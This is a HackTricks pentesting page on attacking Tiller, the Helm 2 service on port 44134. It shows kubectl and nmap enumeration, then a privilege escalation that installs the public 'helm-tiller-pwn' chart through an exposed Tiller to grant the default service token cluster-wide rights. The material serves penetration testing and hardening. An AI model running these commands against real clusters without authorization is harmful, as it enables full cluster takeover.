HackTricks
Search…
Pentesting
44134 - Pentesting Tiller (Helm)

Basic Information

Helm is the package manager for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called Helm Charts. Tiller is the service running by default in the port 44134 offering the service.
Default port: 44134
1
PORT STATE SERVICE VERSION
2
44134/tcp open unknown
Copied!

Enumeration

If you can enumerate pods and/or services of different namespaces enumerate them and search for the ones with "tiller" in their name:
1
kubectl get pods | grep -i "tiller"
2
kubectl get services | grep -i "tiller"
3
kubectl get pods -n kube-system | grep -i "tiller"
4
kubectl get services -n kube-system | grep -i "tiller"
5
kubectl get pods -n <namespace> | grep -i "tiller"
6
kubectl get services -n <namespace> | grep -i "tiller"
Copied!
Examples:
1
kubectl get pods -n kube-system
2
NAME READY STATUS RESTARTS AGE
3
kube-scheduler-controlplane 1/1 Running 0 35m
4
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
5
6
kubectl get services -n kube-system
7
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
8
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
9
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Copied!
You could also try to find this service running checking the port 44134:
1
sudo nmap -sS -p 44134 <IP>
Copied!
Once you have discovered it you can communicate with it downloading the client helm application. You can use tools like homebrew, or look at the official releases page. For more details, or for other options, see the installation guide.
Then, you can enumerate the service:
1
helm --host tiller-deploy.kube-system:44134 version
Copied!

Privilege Escalation

By default Helm2 was installed in the namespace kube-system with high privileges, so if you find the service and has access to it, this could allow you to escalate privileges.
All you need to do is to install a package like this one: https://github.com/Ruil1n/helm-tiller-pwn that will give the default service token access to everything in the whole cluster.
1
git clone https://github.com/Ruil1n/helm-tiller-pwn
2
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
3
/pwnchart
Copied!
In http://rui0.cn/archives/1573 you have the explanation of the attack, but basically, if you read the files clusterrole.yaml and clusterrolebinding.yaml inside helm-tiller-pwn/pwnchart/templates/ you can see how all the privileges are being given to the default token.
Last modified 15d ago